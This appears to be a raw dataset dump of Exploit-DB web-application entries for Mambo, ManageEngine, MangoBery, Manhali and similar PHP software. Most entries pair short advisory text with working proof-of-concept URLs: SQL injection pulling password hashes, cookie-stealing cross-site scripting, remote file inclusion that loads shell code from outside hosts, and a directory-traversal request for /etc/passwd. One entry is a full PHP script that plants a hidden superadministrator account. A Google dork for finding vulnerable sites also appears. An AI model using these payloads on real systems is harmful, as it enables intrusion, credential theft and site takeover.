deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23834
Description: Mambo Open Source 4.5 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-03-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9891/info

It has been reported that the Mambo 'index.php' script is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.

http://www.example.com/index.php?option=content&task=view&id=[SQL]&Itemid=[VID]
http://www.example.com/index.php?option=content&task=category&sectionid=[VID]&id=[SQL]&Itemid=[VID]
http://www.example.com/index.php?option=content&task=category&sectionid=[VID]&id=[SQL]&Itemid=[VID]
Exploit-DB #23825
Description: Mambo Open Source 4.5 - 'index.php?mos_change_template' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9890/info
 
It has been reported that the Mambo 'index.php' script is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input. This issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/index.php?mos_change_template=[XSS]
Exploit-DB #24615
Description: Mambo Open Source 4.5.1 (1.0.9) - 'Function.php' Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-09-20
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11220/info
 
Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.
 
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.

http://www.example.com/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://www.example.org/
Exploit-DB #24614
Description: Mambo Open Source 4.5.1 (1.0.9) - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-20
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11220/info

Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer, to carry out cross-site scripting attacks, and to make SLQ injection attacks against the vulnerable application.

http://www.example.com/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1
Exploit-DB #23553
Description: Mambo Open Source 4.5/4.6 - 'mod_mainmenu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-19
Author: Yo_Soy

Exploit:
source: https://www.securityfocus.com/bid/9445/info

It has been reported that Mambo Open Source may be prone to a remote file include vulnerability that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system. The issue exists because remote users may reportedly influence the include path for external scripts by supplying their own value for the 'mosConfig_absolute_path' variable in the 'mod_mainmenu.php' script.

Mambo Open Source versions 4.5 and 4.6 have been reported to be prone to this issue, however other versions could be affected as well.

<?php
/*
|| Mambo OS v4.5 y v4.6 xploit
||
|| This script will insert a superadministrator user to the mambo database.
|| Change the variables bellow and upload this script to www.url.com/modules/mod_mainmenu.class.php
|| then go to the victim's url using that url.com like the value in mosConfig_absolute, ex.
||
|| http://www.vicitm.com/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.url.com
||
|| Advisory:  http://www.kernelpanik.org/docs/kernelpanik/mamboadv.txt
||
|| Yo_Soy - <yo_soy@raza-mexicana.org>
|| Raza Mexicana Hackers Team - http://www.raza-mexicana.org
*/

// Just change this vars ------------------------------
$hacker_nick = 'hax0r';
$hacker_pass = 'eaea';
$base_path_url = "/home/victim/public_html/";  # <-- ending slash
// ----------------------------------------------------

$body = <<<END
<?php
        \$hacker_nick = "$hacker_nick";
        \$hacker_pass = md5("$hacker_pass");
        \$base_path_url = "$base_path_url";

        include(\$base_path_url."configuration.php");
        \$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password");
        mysql_select_db("\$mosConfig_db");
        \$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin@wherever',
".
        "'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00
'); ";
        \$resultado = mysql_query(\$rmht_sql);
        \$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);";
        \$resultado = mysql_query(\$rmht_sql);
         \$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);";
        \$resultado = mysql_query(\$rmht_sql);
        mysql_close(\$conn);
?>
END;
print $body;
?>
Exploit-DB #23657
Description: Mambo Open Source 4.6 - 'Itemid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-05
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9588/info

It has been reported that Mambo Open Source may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in a user's browser. The issue exists in the 'Itemid' parameter of 'index.php' script.

Mambo Open Source version 4.6 has been reported to be prone to this issue, however, other versions may be affected has well.

http://www.example.com/index.php?option=content&task=view&id=1&Itemid="><script>alert(document.domain);</script>
Exploit-DB #32252
Description: Mambo Open Source 4.6.2 - '/administrator/popups/index3pop.php?mosConfig_sitename' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-15
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30708/info

Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mambo 4.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/administrator/popups/index3pop.php?mosConfig_sitename=</title><script>alert(document.cookie)</script>
Exploit-DB #32253
Description: Mambo Open Source 4.6.2 - '/mambots/editors/mostlyce/' PHP/connector.php?Query String Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-15
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30708/info
 
Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Mambo 4.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?khashayar=<script>alert(&#039;xss&#039;)</script>
Exploit-DB #22382
Description: Mambo Site Server 4.0.10 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-18
Author: Ertan Kurt

Exploit:
source: https://www.securityfocus.com/bid/7135/info

Mambo Site Server has been reported prone to a cross-site scripting vulnerability.

It has been reported that certain user supplied URI parameters are not sufficiently sanitized by the Mambo Site Server. As a result of this deficiency an attacker may create a specially crafted URL that includes malicious HTML code passed to the index page used by Mambo Site server. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect Mambo Site Server version 4.0.10 it is not currently known if other versions are affected.

http://www.example.com/index.php?option=search&searchword=<script>alert(document.cookie);</script>
Exploit-DB #22086
Description: Mambo Site Server 4.0.11 - 'PHPInfo.php' Information Disclosure
Type: webapps
Platform: php
Date: 2002-12-12
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6376/info

Mambo Site Server is a freely available, open source web content management tool. It is written in PHP, and available for Unix, Linux, and Microsoft Windows operating systems.

It has been reported that Mambo enables a script by default that may reveal sensitive information. The phpinfo.php script is packaged with Mambo, and installed by default in the administrator subdirectory. A remote user may use this script to gain information about the server, including path and environment information.

http://www.example.com/mambo/administrator/phpinfo.php
Exploit-DB #22087
Description: Mambo Site Server 4.0.11 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2002-12-12
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6387/info

A vulnerability has been discovered in Mambo Site Server. Requesting the 'index.php' script with an invalid parameter will cause an error page to be generated containing the path of the Mambo script.

Information obtained by exploiting this issue may aid an attacker in launching further attacks against a target server.

It should be noted that this vulnerability was reported in Mambo Site Server 4.0.11. It is not yet known whether other versions are affected.

http://www.example.com/mambo/index.php?Itemid=invalidparameter
Exploit-DB #23158
Description: Mambo Site Server 4.0.14 - 'banners.php?bid' SQL Injection
Type: webapps
Platform: php
Date: 2003-09-18
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8647/info

It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.

The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.

Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.

http://www.example.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'
Exploit-DB #23160
Description: Mambo Site Server 4.0.14 - 'contact.php' Unauthorized Mail Relay
Type: webapps
Platform: php
Date: 2003-09-18
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8647/info
  
It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.
  
The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.
  
Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.
 
http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&email_to=example@example.com&sitename=www.example.com
Exploit-DB #23159
Description: Mambo Site Server 4.0.14 - 'emailarticle.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2003-09-18
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8647/info
 
It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.
 
The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.
 
Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.

http://www.example.com/mambo/emailfriend/emailarticle.php?submit=submit&email=example@example.com&youremail=example@example.com&id=100 UNION select username,email,password from mos_users where id=1
Exploit-DB #28792
Description: MamboLaiThai ExtCalThai 0.9.1 - 'admin_events.php?CONFIG_EXT[LANGUAGES_DIR]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/20487/info

ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://shell/cmd.gif?
Exploit-DB #28793
Description: MamboLaiThai ExtCalThai 0.9.1 - 'mail.inc.php?CONFIG_EXT[LIB_DIR]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/20487/info
 
ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://shell/cmd.gif?
Exploit-DB #31129
Description: Managed Workplace Service Center 4.x/5.x/6.x - Installation Information Disclosure
Type: webapps
Platform: php
Date: 2008-02-08
Author: Brook Powers

Exploit:
source: https://www.securityfocus.com/bid/27702/info

Managed Workplace Service Center is prone to an information-disclosure vulnerability because the application fails to protect private information.

Attackers may exploit this issue to retrieve sensitive information that may aid in further attacks.

http://www.example.com/About/SC_About.htm
Exploit-DB #35331
Description: ManageEngine ADSelfService Plus 4.4 - 'EmployeeSearch.cc' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-10
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/46331/info
 
ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.
 
Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.
 
ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/EmployeeSearch.cc?actionId=showList&searchString=alice%22%20onmouseover=%22alert%28%27xss%27%29&parameterName=name&searchType=containshttp://www.example.com/EmployeeSearch.cc?actionId=Search&parameterName=name&searchType=contains&searchString=alice%22+onMouseOver%3D%22javascript%3Aalert%28%27xss%27%29
Exploit-DB #35330
Description: ManageEngine ADSelfService Plus 4.4 - POST Manipulation Security Question
Type: webapps
Platform: php
Date: 2011-02-10
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/46331/info

ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.

Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected. 

POST /accounts/ValidateAnswers?methodToCall=validateAll HTTP/1.1

Host: SERVER
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.example.com/accounts/ValidateUser
Cookie: JSESSIONID=8F93EB242EF06C51BE93EB0CEDA69085
Content-Type: application/x-www-form-urlencoded
Content-Length: 294

loginId=1501&Hide_Captcha=0&POLICY_ID=1&Confirm_Answer=1&SESSION_EXPIRY_TIME=5&LOGIN_NAME=alice&REM_SESSION_TIME=00%3A40&bAns=11111&bQues=PreDefined-2&bAns=22222&bQues=PreDefined-3&bAns=33333&bQues=PreDefined-4&bAns=44444&bQues=PreDefined-5&quesList=4&DIGEST=qodpgd&next=Continue&DIS_ALL_QUES=1
Exploit-DB #35091
Description: ManageEngine EventLog Analyzer 6.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-10
Author: Rob Kraus

Exploit:
source: https://www.securityfocus.com/bid/45334/info

ManageEngine EventLog Analyzer is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ManageEngine EventLog Analyzer 6.1 is vulnerable; other versions may also be affected. 

https://www.example.com/pkg_edit.php?xml=olsrd.xml&id=%22/%3E%3Cscript%3Ealert%282%29;%3C/script%3E


https://www.example.com/pkg.php?xml=jailctl.xm%27l%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E


https://www.example.com/status_graph.php?if=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E


https://www.example.com/interfaces.php?if=wan%22%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #31262
Description: ManageEngine Support Center Plus 7916 - Directory Traversal
Type: webapps
Platform: php
Date: 2014-01-29
Author: xistence

Exploit:
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

ManageEngine Support Center Plus 7916 and lower

-------------------------
Affected vendors:
-------------------------

ManageEngine
http://www.manageengine.com/

-------------------------
Product description:
-------------------------

SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

----------
Details:
----------

[ 0x01 - Directory Traversal ]

Support Center Plus 7916 and lower is prone to a directory traversal
vulnerability. When creating a ticket and attaching
a file, this can be tampered to link to a local file on the server side.
By downloading the attachment from the ticket, the server file is
downloaded with the same privileges as the
Support Center Plus instance, which on windows is SYSTEM. On linux Support
Center Plus is mostly installed as the root user.

POST parameters when submitting a ticket to the /WorkOrder.do url and
attaching the server /etc/[CREDENTIAL_REDACTED]=&MOD_IND=WorkOrder&attachments=passwd&subCategory=0&addWO=addWO&title=pwned&attPath=
&component=Request&reqTemplate=&reqName=Guest&priority=2&item=0&reqID=2&attSize=31337&autoCCList=
&FORMNAME=WorkOrderForm&usertypename=Requester
&attach=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&prodId=0&description=pwned


-----------
Solution:
-----------

Upgrade to a build higher than 7916.

--------------
Timeline:
--------------

Fixed somewhere back in 2013 :)
Exploit-DB #3598
Description: MangoBery CMS 0.5.5 - 'quotes.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-28
Author: kezzap66345

Exploit:
Mangobery-0.5.5

*****************
Found by kezzap66345 *
*****************
Script Page:http://mangobery.sourceforge.net/
*****************
Demo Site:http://mangobery.beryllium.ca/
*****************
Script
Download:http://sourceforge.net/project/showfiles.php?group_id=63834&package_id=60858

*****************
Dork:http://www.google.com.tr/search?hl=tr&q=%22MangoBery+1.0+Alpha%22&meta=

*****************
ERROR#1:
File:boxes/quotes.php
*****************


<? include($Site_Path . 'tquotes/tq_getquote.inc') ?>     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/boxes/quotes.php?Site_Path=[SHELL]


**************************************************************************************

*****************
ERROR#2:
File:templates/mangobery/footer.sample.php
*****************


include($Site_Path . "includes/column_right.php");     <<< rfi coded


**************************************************************************************
RFI#2:

http://SITE.com/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL]

Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-03-28]
Exploit-DB #21418
Description: Manhali 1.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-09-20
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: Manhali v1.8 Local File Inclusion Vulnerability
### Date: 20/09/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.manhali.com/
### Software Link: http://sourceforge.net/projects/manhali/files/manhali_1.8.zip/download
### Version : 1.8 ( may be old version is affect! i don't check )
### Tested on: Linux/Windows 
############################################

# P.O.C :

http://127.0.0.1/manhali/includes/download.php?f=../includes/dbconfig.php

############################################

# Greetz to my friendz
Exploit-DB #3398
Description: Mani Stats Reader 1.2 - 'ipath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-02
Author: mozi

Exploit:
Mani Admin Plugin Stats Reader V1.2 rfi :) 

dork:"2006 by www.mani-stats-reader.de.vu"
     "allinurl:.php?ipath=  inurl:"css""

vuln:index.php?ipath=evilshit

greetz:RST, LinuxPakistan phpfreaks 
mozi2weed@yahoo.com 

# milw0rm.com [2007-03-02]